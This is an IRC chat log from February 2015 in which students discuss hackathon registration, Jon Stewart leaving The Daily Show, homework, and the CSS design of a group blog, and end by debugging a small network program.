[2015-02-10T19:40:46-0500] <+awe> Okay, I'm pretty sure I'm going to HackUMass now.
[2015-02-10T19:40:50-0500] <+jwoglom> he let it slip that he's retiring
[2015-02-10T19:41:37-0500] <JacobEdelman_> nytimes says comedy central confirms
[2015-02-10T19:41:43-0500] <JacobEdelman_> its on the front page of the nytimes site
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[2015-02-10T19:45:37-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-10T19:24:03-0500] <nezorg> "a tool to speed up judging of hackathon projects"
[2015-02-10T19:24:11-0500] <+awe> Sure.
[2015-02-10T19:24:13-0500] <+awe> I've got one.
[2015-02-10T19:24:14-0500] <Hyper> a neural implant?
[2015-02-10T19:24:17-0500] <Hyper> lol
[2015-02-10T19:24:23-0500] <+awe> It's called the ban hammer.
[2015-02-10T19:24:33-0500] <+awe> Don't invite a million teams.
[2015-02-10T19:24:36-0500] <nezorg> o rly now
[2015-02-10T19:24:50-0500] <+awe> Alternatively, higher way more judges.
[2015-02-10T19:24:53-0500] <+awe> hire*
[2015-02-10T19:24:58-0500] <+awe> iwotm8
[2015-02-10T19:29:37-0500] <+awe> Hmm, so, the five college registration already opened.
[2015-02-10T19:29:41-0500] <+awe> So, I can register for me.
[2015-02-10T19:31:19-0500] <+hardmath123> @choose homework or pdgn post
[2015-02-10T19:31:19-0500] <awebot> hardmath123: pdgn post
[2015-02-10T19:31:29-0500] <+awe> hardmath123: awebot has spoken.
[2015-02-10T19:31:46-0500] <JacobEdelman_> awe saying that fewer people should be invited is ironic cause he didn't actually get accepted to pennapps
[2015-02-10T19:31:52-0500] <JacobEdelman_> I had to whine at them to accept him
[2015-02-10T19:32:08-0500] <JacobEdelman_> (my brother and I were waitlisted, only Alok actually got in from our team)
[2015-02-10T19:32:46-0500] <+awe> I'm aware.
[2015-02-10T19:32:53-0500] <+awe> I think that's ALSO an issue.
[2015-02-10T19:33:04-0500] <+awe> They should accept teams, not individuals.
[2015-02-10T19:33:32-0500] <+awe> HackUMass wants a link to my resume.
[2015-02-10T19:33:37-0500] <+awe> But they also wanted my GitHub and LinkedIn.
[2015-02-10T19:33:48-0500] <+awe> What could possibly be on my resume that wouldn't appear on both of those things?
[2015-02-10T19:35:32-0500] <+awe> JacobEdelman_: are you going to go?
[2015-02-10T19:35:40-0500] <JacobEdelman_> eh, depends
[2015-02-10T19:35:48-0500] <JacobEdelman_> so many hackathons, and stuffs, so little time
[2015-02-10T19:36:00-0500] <JacobEdelman_> also, unlike alok, I'm a junior so I need to get grades :(
[2015-02-10T19:36:47-0500] <LittleBobbyTables> no you don't
[2015-02-10T19:36:57-0500] <LittleBobbyTables> pro life tip: grades don't matter, just graduate
[2015-02-10T19:37:50-0500] <nezorg> awe: plenty of people don't use linkedin
[2015-02-10T19:37:50-0500] <nezorg> (also plenty of people don't use github but not many who go to hackathons)
[2015-02-10T19:37:56-0500] <+awe> I know.
[2015-02-10T19:38:55-0500] <+awe> nezorg: but all fields are mandatory.
[2015-02-10T19:39:03-0500] <nezorg> oh, that's weird
[2015-02-10T19:39:09-0500] <nezorg> then say "N/A" or something
[2015-02-10T19:39:22-0500] <JacobEdelman_> FYI: John Stewart is leaving the daily show
[2015-02-10T19:39:22-0500] <+awe> I did.
[2015-02-10T19:39:26-0500] <+awe> I said N/a, I don't have a recent one.
[2015-02-10T19:39:29-0500] <JacobEdelman_> feel free to go cry in a corner now
[2015-02-10T19:40:28-0500] <nezorg> wait, what?
[2015-02-10T19:40:29-0500] <+jwoglom> JacobEdelman_: :(
[2015-02-10T19:40:34-0500] <nezorg> how is that possible
[2015-02-10T19:40:35-0500] <+jwoglom> http://www.avclub.com/article/jon-stewart-says-hes-leaving-daily-show-215070?utm_source=Facebook&utm_medium=SocialMarketing&utm_campaign=LinkPreview:1:Default
[2015-02-10T19:40:44-0500] <+awe> Okay, I'm pretty sure I'm going to HackUMass now.
[2015-02-10T19:40:48-0500] <+jwoglom> he let it slip that he's retiring
[2015-02-10T19:41:35-0500] <JacobEdelman_> nytimes says comedy central confirms
[2015-02-10T19:41:41-0500] <JacobEdelman_> its on the front page of the nytimes site
[2015-02-10T19:45:07-0500] <+jwoglom> yup :/
[2015-02-10T19:45:38-0500] Mode is +nt
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[2015-02-10T19:52:56-0500] <JacobEdelman_> my little brother is flying our quadrocpter(which we just got) in our family room
[2015-02-10T19:53:00-0500] <JacobEdelman_> should I be worried?
[2015-02-10T19:56:17-0500] <JacobEdelman_> I found the correct solution
[2015-02-10T19:59:02-0500] <+awe> JacobEdelman_: yes?
[2015-02-10T19:59:19-0500] <JacobEdelman_> I flew it inside too!
[2015-02-10T19:59:19-0500] <The_Master> He almost broke it
[2015-02-10T19:59:26-0500] <+awe> Lol.
[2015-02-10T19:59:47-0500] <JacobEdelman_> its fun
[2015-02-10T19:59:58-0500] <JacobEdelman_> quadrocpters ftw
[2015-02-10T20:17:08-0500] <ubuntor> http://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/ is pretty funny
[2015-02-10T21:07:41-0500] <+awe> Am I wrong? The angle between the vectors is acos(1/product of each vector's length)?
[2015-02-10T21:07:58-0500] <+awe> inb4 its sin
[2015-02-10T21:08:03-0500] <+hardmath123> no, you're fine
[2015-02-10T21:08:07-0500] <+awe> it is cos?
[2015-02-10T21:08:12-0500] <+hardmath123> yes, iirc
[2015-02-10T21:08:20-0500] <+awe> https://www.dropbox.com/s/4kk3lc6hb4lcoo9/Screenshot%202015-02-10%2021.08.18.png?dl=0
[2015-02-10T21:08:21-0500] <+awe> WHY
[2015-02-10T21:08:31-0500] <+hardmath123> wait no
[2015-02-10T21:08:34-0500] <+awe> It's sin?
[2015-02-10T21:08:41-0500] <+hardmath123> replace 1 with <dot product of vectors>
[2015-02-10T21:08:43-0500] <+hardmath123> :P
[2015-02-10T21:08:50-0500] <+awe> Oh.
[2015-02-10T21:08:51-0500] <+awe> Whoops.
[2015-02-10T21:08:52-0500] <+awe> Yeah.
[2015-02-10T21:08:55-0500] <+awe> >.<
[2015-02-10T21:09:00-0500] <+awe> That's why.
[2015-02-10T21:09:12-0500] <+awe> Previous problem was use that to calculate the dot product lol
[2015-02-10T21:09:52-0500] <+awe> Lol, okay, there we go.
[2015-02-10T21:09:54-0500] <+awe> Thanks, hardmath123.
[2015-02-10T21:10:00-0500] <+awe> hardmath123: how is post going?
[2015-02-10T21:11:07-0500] <+hardmath123> awe: uh i've started (~60 words written :P)
[2015-02-10T21:11:19-0500] <+awe> Are they a good 60 words? :p
[2015-02-10T21:11:37-0500] <Hyper> awe: is that webassign?
[2015-02-10T21:12:19-0500] <Hyper> looks like webassign... if it is, you can yolo it and hit the example problem and check the solution there lol
[2015-02-10T21:12:46-0500] <+awe> Hyper: It is, and I know. :p
[2015-02-10T21:12:50-0500] <+hardmath123> awe: i'm proud of them so far...
[2015-02-10T21:14:14-0500] <+awe> hardmath123: good, good.
[2015-02-10T21:14:24-0500] <+awe> Ima write my history of Pdgn when I get the chance.
[2015-02-10T21:14:32-0500] <+awe> But I have a bit of stuff to do this work.
[2015-02-10T21:14:48-0500] <+awe> I'm doing math homework, and then I've got more math homework to do for tomorrow (that I have to hand in in person because it's not webassign)
[2015-02-10T21:15:06-0500] <+awe> and then I've got some stuff to read and a reflection paper to write
[2015-02-10T21:15:12-0500] <+awe> And then I have to write a political autobiography.
[2015-02-10T21:15:27-0500] <+jwoglom> ugh webassign, lol
[2015-02-10T21:17:53-0500] <Hyper> if we make a pdgn blog can I start a series called "Every language is shit"?
[2015-02-10T21:18:33-0500] <Hyper> or maybe "Your favorite language is shit"?
[2015-02-10T21:18:35-0500] <+awe> I already made it.
[2015-02-10T21:18:40-0500] <+awe> Please write something for it!
[2015-02-10T21:19:01-0500] <+awe> You can absolutely do a series called Every language is shit.
[2015-02-10T21:19:06-0500] <Hyper> >:D
[2015-02-10T21:19:23-0500] <Hyper> ok now I need to start articulating my thoughts
[2015-02-10T21:19:30-0500] <Hyper> oh god this is gonna end up being more of a rant
[2015-02-10T21:20:17-0500] <Hyper> awe: you should remove the example jekyll post
[2015-02-10T21:20:25-0500] <+awe> I will once we have an actual post.
[2015-02-10T21:20:30-0500] • awe: glares at hardmath123.
[2015-02-10T21:48:11-0500] <+awe> Guys!
[2015-02-10T21:48:12-0500] <+awe> GUYS!
[2015-02-10T21:48:12-0500] <+awe> https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-xpf1/v/t35.0-12/1978567_948517585200354_7995567065070234694_o.jpg?oh=e4d5a8124864b6b9cb0ab94709aa2819&oe=54DDD4F8&__gda__=1423742535_7c2e93e8e2ed8420b4e10c2570c9e265
[2015-02-10T21:48:15-0500] <+awe> THIS IS IMPORTANT!
[2015-02-10T21:49:51-0500] <LittleBobbyTables> http://i.imgur.com/728GirQ.gifv
[2015-02-10T21:50:07-0500] <alokpathy> jwoglom: Dude
[2015-02-10T21:50:09-0500] <alokpathy> you predicted it right.
[2015-02-10T21:50:15-0500] <alokpathy> JON STEWART'S LEAVING
[2015-02-10T21:50:31-0500] <+awe> LittleBobbyTables: confirmed dickbtt
[2015-02-10T21:50:33-0500] <+awe> dickbutt*
[2015-02-10T21:50:37-0500] <+jwoglom> alokpathy: yep :/
[2015-02-10T21:50:43-0500] <+jwoglom> i didn't predict it though
[2015-02-10T21:50:52-0500] <+awe> Nobody is commenting on the pdgn logo?
[2015-02-10T21:50:54-0500] <+jwoglom> at the previous taping he apparently let it slip to the audience
[2015-02-10T21:50:57-0500] <+awe> Why is nobody commenting on the pdgn logo?
[2015-02-10T21:51:00-0500] <+jwoglom> and it got on twitter
[2015-02-10T21:51:14-0500] <alokpathy> jwoglom: Well, I remember a few months back you were like
[2015-02-10T21:51:20-0500] <alokpathy> "Jon Stewart will probably leave soon"
[2015-02-10T21:51:22-0500] <alokpathy> or something.
[2015-02-10T21:51:27-0500] <+jwoglom> oh, true
[2015-02-10T21:51:44-0500] <+jwoglom> well he's been there since 1999
[2015-02-10T21:51:45-0500] <LittleBobbyTables> because we didn't know it was for pdgn
[2015-02-10T21:51:54-0500] <+jwoglom> i just guessed
[2015-02-10T21:52:03-0500] <alokpathy> You guessed right :P
[2015-02-10T21:52:11-0500] <alokpathy> I wonder who will replace him...
[2015-02-10T21:52:13-0500] <+jwoglom> well..yay, i guess? now i'm sad
[2015-02-10T21:52:18-0500] <alokpathy> I am too :(
[2015-02-10T21:52:33-0500] <+jwoglom> had this been a year ago Oliver would have probably been the frontrunner
[2015-02-10T21:52:42-0500] <+jwoglom> but his show is doing really well thankfully
[2015-02-10T21:52:47-0500] <alokpathy> Definitely.
[2015-02-10T21:52:49-0500] <alokpathy> Yeah.
[2015-02-10T21:52:51-0500] <alokpathy> Hmm
[2015-02-10T21:52:52-0500] <+awe> LittleBobbyTables: well, now you do
[2015-02-10T21:52:53-0500] <alokpathy> Jason?
[2015-02-10T21:53:21-0500] <+jwoglom> probably one of the current correspondents
[2015-02-10T21:53:36-0500] <alokpathy> Yeah, my guess is Jason.
[2015-02-10T21:54:54-0500] <+jwoglom> "CBS Radio just did a special report to share news that a real news anchor is suspended for 6 months and a fake news anchor is quitting."
[2015-02-10T21:54:55-0500] <+jwoglom> lol
[2015-02-10T22:19:01-0500] <+awe> JacobEdelman: alokpathy: you both better come to HackUMass tho because it'll be boring af without you guys.
[2015-02-10T22:19:16-0500] <alokpathy> awe: When does registration open?
[2015-02-10T22:19:19-0500] <+awe> Iunno.
[2015-02-10T22:19:25-0500] <+awe> They just opened local registration today.
[2015-02-10T22:19:33-0500] <alokpathy> Oh, okay
[2015-02-10T22:19:39-0500] <alokpathy> Well, I already put my email on their email list.
[2015-02-10T22:30:39-0500] <+awe> Ok.
[2015-02-10T22:34:31-0500] <+jwoglom> heh. https://twitter.com/passantino/status/565351553012609025
[2015-02-10T22:42:40-0500] <+awe> https://twitter.com/1_Percent_News/status/565236615048859649
[2015-02-10T22:42:40-0500] <+awe> top kek
[2015-02-10T22:43:17-0500] <alokpathy> jwoglom: Where's the tweet where Stewart siad he was retiring?
[2015-02-10T22:43:37-0500] <+jwoglom> alokpathy: he apparently announced it during tonight's show taping
[2015-02-10T22:44:02-0500] <+jwoglom> also https://twitter.com/ComedyCentral/status/565296357792284676
[2015-02-10T22:44:04-0500] <alokpathy> Oh, okay.
[2015-02-10T22:44:28-0500] <alokpathy> Oh :(
[2015-02-10T22:44:53-0500] <+jwoglom> it's on at 11est
[2015-02-10T22:44:55-0500] <+jwoglom> maybe i'll watch it
[2015-02-10T22:45:04-0500] <+jwoglom> i never watch shows like his live
[2015-02-10T22:45:27-0500] <alokpathy> Yeah, same
[2015-02-10T22:45:32-0500] <alokpathy> Oh crap that's in 15 minutes LOL
[2015-02-10T22:53:07-0500] <+awe> alokpathy: 7 mins
[2015-02-10T22:54:05-0500] <alokpathy> But I have a physics lab D:
[2015-02-10T22:54:08-0500] <alokpathy> Must make a decision soon.
[2015-02-10T23:00:43-0500] <+jwoglom> tis on now
[2015-02-10T23:01:09-0500] <alokpathy> I guess I decided physics lab
[2015-02-10T23:01:30-0500] <+jwoglom> "you probably know things that other people don't know yet" lol
[2015-02-10T23:01:33-0500] <+jwoglom> "but we'll get to that later"
[2015-02-10T23:01:47-0500] <alokpathy> Wow xD
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[2015-02-10T23:52:39-0500] <+hardmath123> awe: http://blog.pdgn.co/general/2015/02/10/hello-world.html
[2015-02-10T23:53:03-0500] <+hardmath123> awe: it needs a bit of editing. Also, would you mind if I twiddled the CSS a bit? There are a few small things that bother me.
[2015-02-11T00:02:34-0500] <+awe> What are they?
[2015-02-11T00:02:53-0500] <+awe> hardmath123: ^
[2015-02-11T00:09:32-0500] <+awe> alokpathy: I demand that the CS club meetings start being exclusively Haskell.
[2015-02-11T00:09:41-0500] <+awe> alokpathy: mostly because I still get emails about them. ;)
[2015-02-11T00:10:13-0500] <alokpathy> awe: I don't think either of us knows Haskell well enough to teach it :P
[2015-02-11T00:10:45-0500] <alokpathy> awe: If you come back, you can teach it :D
[2015-02-11T00:11:05-0500] <+awe> Exclusively.
[2015-02-11T00:11:07-0500] <+awe> No more Python.
[2015-02-11T00:11:08-0500] <+awe> :p
[2015-02-11T00:11:26-0500] <alokpathy> Only if you come back :P
[2015-02-11T00:11:43-0500] • awe: drops out of school to become a high school Haskell professor.
[2015-02-11T00:11:59-0500] <alokpathy> I'm cool with this :)
[2015-02-11T00:12:05-0500] <alokpathy> Psh it's not dropping out
[2015-02-11T00:12:08-0500] <alokpathy> Just this sem.
[2015-02-11T00:12:15-0500] <bob_twinkles> you need like 6 years of education to become a teacher though
[2015-02-11T00:12:28-0500] <alokpathy> He's been educating himself.
[2015-02-11T00:12:30-0500] <+awe> My plan is to basically become a Uni Haskell professor, anyway. :p
[2015-02-11T00:12:30-0500] <alokpathy> Let's just say that counts.
[2015-02-11T00:12:37-0500] <bob_twinkles> like, 4 year degree + teaching credits
[2015-02-11T00:12:47-0500] <+awe> Eh, I'm doing a "four year degree" in three years.
[2015-02-11T00:13:00-0500] <alokpathy> It takes 4 years to get a HS diploma :P
[2015-02-11T00:13:01-0500] <bob_twinkles> depends on the college I guess
[2015-02-11T00:13:05-0500] <+awe> And if I wanted to stress, I could do it in 2.5 years.
[2015-02-11T00:13:12-0500] <+awe> alokpathy: GED.
[2015-02-11T00:26:42-0500] <+awe> hardmath123: y u no tell me what CSS problems you has?
[2015-02-11T00:31:38-0500] <+hardmath123> awe: i was eating
[2015-02-11T00:32:19-0500] <+hardmath123> awe: justified text looks weird, heading needs more vertical space, you need a footer, and you need a good accent color.
[2015-02-11T00:32:44-0500] <alokpathy> awe: I thought you said you wanted to work at like
[2015-02-11T00:32:53-0500] <alokpathy> Mozilla or MS research?
[2015-02-11T00:33:26-0500] <+hardmath123> awe: post title needs to be more prominent, author/date less so, and maybe body text should be a little bit larger.
[2015-02-11T00:38:56-0500] <+awe> hardmath123: I'm vetoing the justified text
[2015-02-11T00:39:01-0500] <+hardmath123> D:
[2015-02-11T00:39:08-0500] <+awe> hardmath123: other changes are fine
[2015-02-11T00:39:14-0500] <+awe> hardmath123: what do we need a footer for?
[2015-02-11T00:39:52-0500] <+hardmath123> awe: a less abrupt end. also, licensing info (ideally creative commons).
[2015-02-11T00:40:13-0500] <+awe> CC 0?
[2015-02-11T00:40:19-0500] <+awe> I'm in favor of CC 0.
[2015-02-11T00:40:28-0500] <+awe> Unless you really want attribution and non-commercial?
[2015-02-11T00:41:12-0500] <+hardmath123> I thought this through at some point; use what my blog uses :P
[2015-02-11T00:41:31-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=salFV5YKb0w
[2015-02-11T00:41:32-0500] <+awe> CC 0 is public domain.
[2015-02-11T00:41:34-0500] <+hardmath123> awe: Re justification, http://imgur.com/Sof1NyA
[2015-02-11T00:41:35-0500] <+awe> Your blog is BY-NC
[2015-02-11T00:41:56-0500] <+awe> What browser is this?
[2015-02-11T00:41:57-0500] <+hardmath123> I want attribution and non-commercial.
[2015-02-11T00:42:00-0500] <+hardmath123> Safari/Mac.
[2015-02-11T00:42:05-0500] <+awe> Safari 8?
[2015-02-11T00:42:40-0500] <+hardmath123> Safari 7.1.3
[2015-02-11T00:42:47-0500] <+awe> Is browser bug.
[2015-02-11T00:42:53-0500] <+awe> Does not happen on latest Safari.
[2015-02-11T00:43:02-0500] <+hardmath123> Also, make it so that when you resize a window, it doesn't suddenly jump sizes.
[2015-02-11T00:43:12-0500] <+awe> "suddenly jump sizes"
[2015-02-11T00:43:12-0500] <+awe> ?
[2015-02-11T00:43:23-0500] <+awe> Do you mean the fact that the site is responsive?
[2015-02-11T00:43:25-0500] <+hardmath123> Yes.
[2015-02-11T00:43:31-0500] <+awe> Why?
[2015-02-11T00:43:45-0500] <+hardmath123> Because right before the threshold it's too thin, and right after it it's too thick
[2015-02-11T00:44:01-0500] <+awe> Nobody actually makes their browser that size.
[2015-02-11T00:44:05-0500] <+awe> It's there because phones.
[2015-02-11T00:44:33-0500] <+hardmath123> That's not true, I have plenty of browser windows that size.
[2015-02-11T00:44:37-0500] <+hardmath123> So do other people.
[2015-02-11T00:44:59-0500] <+awe> You regularly make windows tiny little slivers?
[2015-02-11T00:45:00-0500] <+awe> Wat?
[2015-02-11T00:45:14-0500] <+awe> Well, anyway, we can add padding on the thinned site.
[2015-02-11T00:45:58-0500] <+awe> I don't think we should drop responsiveness just because you happen to have a weird use case for browsing.
[2015-02-11T00:45:59-0500] <+hardmath123> awe: how do you define sliver? http://imgur.com/YhtHOmF
[2015-02-11T00:46:15-0500] <+awe> My god. Old Safari is so bad.
[2015-02-11T00:46:27-0500] <+awe> It shouldn't collapse until much smaller.
[2015-02-11T00:46:30-0500] <+hardmath123> irrelevant to the point i'm making
[2015-02-11T00:46:41-0500] <+awe> Hold on. Let me do somehting.
[2015-02-11T00:46:52-0500] <+hardmath123> it doesn't work for me, and currently I account for like 50% of your audience.
[2015-02-11T00:47:03-0500] <+hardmath123> what you want to do is  max-width: something;
[2015-02-11T00:47:07-0500] <+hardmath123> and that's *it*
[2015-02-11T00:47:16-0500] <+hardmath123> if the window is narrower, it'll scale down to fit
[2015-02-11T00:47:28-0500] <+hardmath123> otherwise, it'll be a thin-but-not-obnoxious column.
[2015-02-11T00:47:39-0500] <+hardmath123> max-width: 40em is a good rule of thumb, adjust as necessary.
[2015-02-11T00:47:40-0500] <+awe> I very disagree.
[2015-02-11T00:47:53-0500] <+hardmath123> unless you're Jacob with a two mile wide monitor.
[2015-02-11T00:47:55-0500] <+awe> I'd rather not have a 3 word thin column on my phone.
[2015-02-11T00:48:02-0500] <+hardmath123> 40em is not 3 words.
[2015-02-11T00:48:07-0500] <+awe> That's max-width.
[2015-02-11T00:48:09-0500] <+awe> Not min-width.
[2015-02-11T00:48:14-0500] <LittleBobbyTables> I have four of those, hardmath123 
[2015-02-11T00:48:16-0500] <+hardmath123> sorry, that's what I meant.
[2015-02-11T00:48:34-0500] <+hardmath123> wait, that *is* what I said.
[2015-02-11T00:48:44-0500] <+hardmath123> ...
[2015-02-11T00:49:01-0500] <+awe> Yeah, on my phone, without min-width, it'd be three word thin.
[2015-02-11T00:49:14-0500] <+awe> Also, there.
[2015-02-11T00:49:16-0500] <+hardmath123> not min-width. i said max-width.
[2015-02-11T00:49:17-0500] <+awe> No collapsing.
[2015-02-11T00:49:23-0500] <+awe> I know what you said.
[2015-02-11T00:49:29-0500] <+awe> Max-width affects big screens, not small screens.
[2015-02-11T00:49:37-0500] <+hardmath123> https://github.com/Hardmath123/hardmath123.github.io/blob/master/static/base.css#L167
[2015-02-11T00:49:40-0500] <+hardmath123> false
[2015-02-11T00:49:55-0500] <+awe> ???
[2015-02-11T00:49:57-0500] <+awe> No.
[2015-02-11T00:50:03-0500] <+hardmath123> max-width affects small screens, because once a viewport is thin enough, the div shrinks automatically.
[2015-02-11T00:50:08-0500] <+hardmath123> it works on my blog.
[2015-02-11T00:50:15-0500] <+awe> That's already true.
[2015-02-11T00:50:31-0500] <+hardmath123> right, so you don't need media queries to do this
[2015-02-11T00:50:44-0500] <+hardmath123> if you're aiming for a constant number of max-words-per-line
[2015-02-11T00:50:47-0500] <+hardmath123> which you are
[2015-02-11T00:51:09-0500] <+awe> I'm using bootstrap.
[2015-02-11T00:51:14-0500] <+awe> It already does all of this.
[2015-02-11T00:51:24-0500] <+hardmath123> Oh. Then ew.
[2015-02-11T00:51:27-0500] <+hardmath123> :P
[2015-02-11T00:51:37-0500] <+awe> It's also *very* worse without the collapsing.
[2015-02-11T00:51:42-0500] <+awe> I just checked on my phone.
[2015-02-11T00:52:03-0500] <+hardmath123> your padding or margins or something are too wide
[2015-02-11T00:52:14-0500] <+hardmath123> don't set a percent width on your main column!
[2015-02-11T00:52:17-0500] <+awe> It's again: bootstrap.
[2015-02-11T00:52:18-0500] <+hardmath123> set a max-width!
[2015-02-11T00:52:27-0500] <+hardmath123> you don't need bootstrap to do this...
[2015-02-11T00:53:34-0500] <+awe> I was asked to make this stuff. I did.
[2015-02-11T00:53:46-0500] <+awe> Bootstrap handles all the heavy-lifting.
[2015-02-11T00:54:38-0500] <+hardmath123> It handles what can literally be expressed in 3 lines of CSS.
[2015-02-11T00:54:53-0500] <+hardmath123> max-width: 45em; margin-left: auto; margin-right: auto;
[2015-02-11T00:55:00-0500] <+awe> That's not the only thing that bootstrap is doing.
[2015-02-11T00:55:16-0500] <+awe> Also, your point would've been better made saying it as two lines: max-width: 45em; margin: 0 auto;
[2015-02-11T00:55:27-0500] <+hardmath123> meh
[2015-02-11T00:55:43-0500] <+awe> Bootstrap also does the full CSS reset, typographical changes, nice formatting things for the blog, etc.
[2015-02-11T00:55:48-0500] <+hardmath123> I don't see what other value it's adding. You should want control over typography.
[2015-02-11T00:56:03-0500] <+awe> Why? Bootstrap does exactly what I'd do anyway.
[2015-02-11T00:56:09-0500] <+awe> Helvetica Neue is master race.
[2015-02-11T00:56:17-0500] <+hardmath123> That's worrying to hear from you.
[2015-02-11T00:56:45-0500] <+awe> I don't believe that everyone needs to roll 100% of their website for themselves every time.
[2015-02-11T00:57:08-0500] <+awe> I clearly do well in making websites using bootstrap that don't look like bootstrap websites given that you've failed to observe that every site you've seen of mine uses it.
[2015-02-11T00:57:57-0500] <+hardmath123> I've just assumed that you're imitating the Bootstrap precedents, just like everyone does thinking they're clever.
[2015-02-11T00:58:37-0500] <+hardmath123> And yeah, you don't need to roll your own 100% of the time, but in this case content-presentation matters a lot. It's large hunks of text.
[2015-02-11T00:58:48-0500] <+awe> And I don't see any issue with this.
[2015-02-11T00:59:02-0500] <+awe> Except that it could use some padding once it collapses.
[2015-02-11T00:59:28-0500] <+awe> I think generally speaking the collapsing is desirable for small displays.
[2015-02-11T00:59:41-0500] <+hardmath123> ...and we're back to me pointing out issues with this.
[2015-02-11T00:59:45-0500] <+hardmath123> we have come a full circle.
[2015-02-11T01:00:05-0500] <+awe> The only issue you pointed out is that there's not enough padding on it once it collapses.
[2015-02-11T01:00:07-0500] <+awe> Nothing else.
[2015-02-11T01:00:11-0500] <+awe> Well, WRT this.
[2015-02-11T01:00:24-0500] <+awe> I generally agree with your other observations.
[2015-02-11T01:00:36-0500] <+awe> Justified text is still 100% a bug in your browser.
[2015-02-11T01:01:22-0500] <+hardmath123> I would still oppose it if my browser didn't bork on it.
[2015-02-11T01:01:33-0500] <+awe> Why? It's significantly easier to read.
[2015-02-11T01:01:57-0500] <+hardmath123> It isn't. It screws with spacing between words, and a ragged right column guides the eye better.
[2015-02-11T01:02:09-0500] <+awe> Tell that to newspapers...?
[2015-02-11T01:03:00-0500] <+hardmath123> ...which have thin columns that don't need eye-guides...?
[2015-02-11T01:03:39-0500] <+awe> The site is a single thin column?
[2015-02-11T01:03:57-0500] <+hardmath123> Not as thin as a newspaper.
[2015-02-11T01:04:22-0500] <+hardmath123> At the very least, you should turn on hyphenation (but Chrome doesn't support it).
[2015-02-11T01:04:25-0500] <+hardmath123> See Butterworth: http://practicaltypography.com/justified-text.html
[2015-02-11T01:04:44-0500] <+awe> That's fair.
[2015-02-11T01:05:18-0500] <+hardmath123> :most ma­jor U.S. news­pa­pers use a mix of jus­ti­fied and left-aligned text"
[2015-02-11T01:05:36-0500] <+hardmath123> "If you’re us­ing jus­ti­fied text, you must also turn on hy­phen­ation so you don’t get grue­somely large spaces be­tween words, as shown in the ex­am­ple below.
[2015-02-11T01:05:39-0500] <+awe> The major reason why I don't like left-aligned text is it completely ruins the whole column thing.
[2015-02-11T01:05:47-0500] <+hardmath123> (I have no idea why the copy-paste is inserting hyphens!)
[2015-02-11T01:05:49-0500] <+awe> I definitely like hyphenation. I didn't know that was even browser-supported.
[2015-02-11T01:06:27-0500] <+awe> hyphens: auto;
[2015-02-11T01:06:28-0500] <+awe> Ok.
[2015-02-11T01:08:10-0500] <+awe> Why doesn't Google support this?
[2015-02-11T01:11:14-0500] <+awe> hardmath123: but yeah, basically, without justification, suddenly, there isn't a well-defined column in the page and it bugs the hell out of me.
[2015-02-11T01:11:54-0500] <+awe> hardmath123: I added the hyphenation.
[2015-02-11T01:19:36-0500] <+awe> I just added it to all my sites.
[2015-02-11T01:20:20-0500] <+awe> hardmath123: also, it's not a browser bug
[2015-02-11T01:20:40-0500] <+awe> hardmath123: it's because of the pipeline I'm using to make the excerpts, apparently.
[2015-02-11T01:21:25-0500] <+awe> hardmath123: For whatever reason, it's actually stripping the spaces out between performer from and It's what.
[2015-02-11T01:32:09-0500] <+awe> Okay, just pushed a fix for that plus formatting changes.
[2015-02-11T01:32:42-0500] <+awe> post title should be more prominent, date + author not so much.
[2015-02-11T01:36:25-0500] <+awe> hardmath123: I increased padding on low-width screens now.
[2015-02-11T01:40:02-0500] <+awe> hardmath123: I like your post. I feel good about it as a first post, too.
[2015-02-11T01:43:38-0500] <+awe> hardmath123: Interested in hearing thoughts after current site changes, and also about highlight color and footer.
[2015-02-11T01:43:48-0500] <+awe> Am going to bed now though.
[2015-02-11T01:43:51-0500] <+awe> Good night!
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[2015-02-11T10:16:05-0500] <JacobEdelman_> (i proxied round it this time)
[2015-02-11T10:16:48-0500] <JacobEdelman_> hardmath123: eh... what the non-deterministic computer does is given a choice it always makes the right decision
[2015-02-11T10:17:14-0500] <+hardmath123> that pretty much amounts to the same thing
[2015-02-11T10:17:35-0500] <JacobEdelman_> I guess
[2015-02-11T10:17:35-0500] <+hardmath123> it makes the right decision by trying all decisions (instantaneously) and picking the one that works
[2015-02-11T10:17:39-0500] <JacobEdelman_>  I live the post
[2015-02-11T10:17:43-0500] <JacobEdelman_> its good
[2015-02-11T10:17:50-0500] <+hardmath123> JACOB LIVES THE POST
[2015-02-11T10:25:54-0500] <JacobEdelman_> oops
[2015-02-11T10:25:57-0500] <JacobEdelman_> close enough
[2015-02-11T10:26:01-0500] <JacobEdelman_> only one letter off
[2015-02-11T10:26:18-0500] <JacobEdelman_> (I meant like, not love or lake or livy)
[2015-02-11T10:30:17-0500] <JacobEdelman_> hardmath123: I can't get output working with hamelin
[2015-02-11T10:30:23-0500] <JacobEdelman_> my program keeps on throwing an error
[2015-02-11T10:30:35-0500] <JacobEdelman_> heres the relevant bit of the program
[2015-02-11T10:30:38-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/Dmvq73ht
[2015-02-11T10:34:36-0500] <+hardmath123> hardmath123: where's the error?
[2015-02-11T10:34:40-0500] <+hardmath123> JacobEdelman_: ^^
[2015-02-11T10:34:43-0500] <+hardmath123> what does it say?
[2015-02-11T10:34:53-0500] <JacobEdelman_> Write failed with error. Killing server.
[2015-02-11T10:35:00-0500] <JacobEdelman_> thats for when I access it with a browser
[2015-02-11T10:35:02-0500] <JacobEdelman_> when I use nc
[2015-02-11T10:35:15-0500] <JacobEdelman_> nothing happens
[2015-02-11T10:35:19-0500] <JacobEdelman_> I don't see any output
[2015-02-11T10:35:40-0500] <JacobEdelman_> (I don't see any output with nc)
[2015-02-11T10:35:47-0500] <JacobEdelman_> I see output on the hamelin program
[2015-02-11T10:35:56-0500] <JacobEdelman_> and than when I kill the nc instance
[2015-02-11T10:36:03-0500] <JacobEdelman_> hamelin says:
[2015-02-11T10:36:07-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/zyXnqFqf
[2015-02-11T10:36:33-0500] <JacobEdelman_> Which I assume means its just timing out
[2015-02-11T10:36:51-0500] <JacobEdelman_> now that I think about it I think the same thing happens when I muse the browser to access it more or less
[2015-02-11T10:36:55-0500] <JacobEdelman_> *I use
[2015-02-11T10:37:41-0500] <JacobEdelman_> okay, I simplified my program down too: 
[2015-02-11T10:37:44-0500] <+hardmath123> Whoa, someone PR's a typo on my blog again. :D
[2015-02-11T10:37:44-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/TAU8XFvC
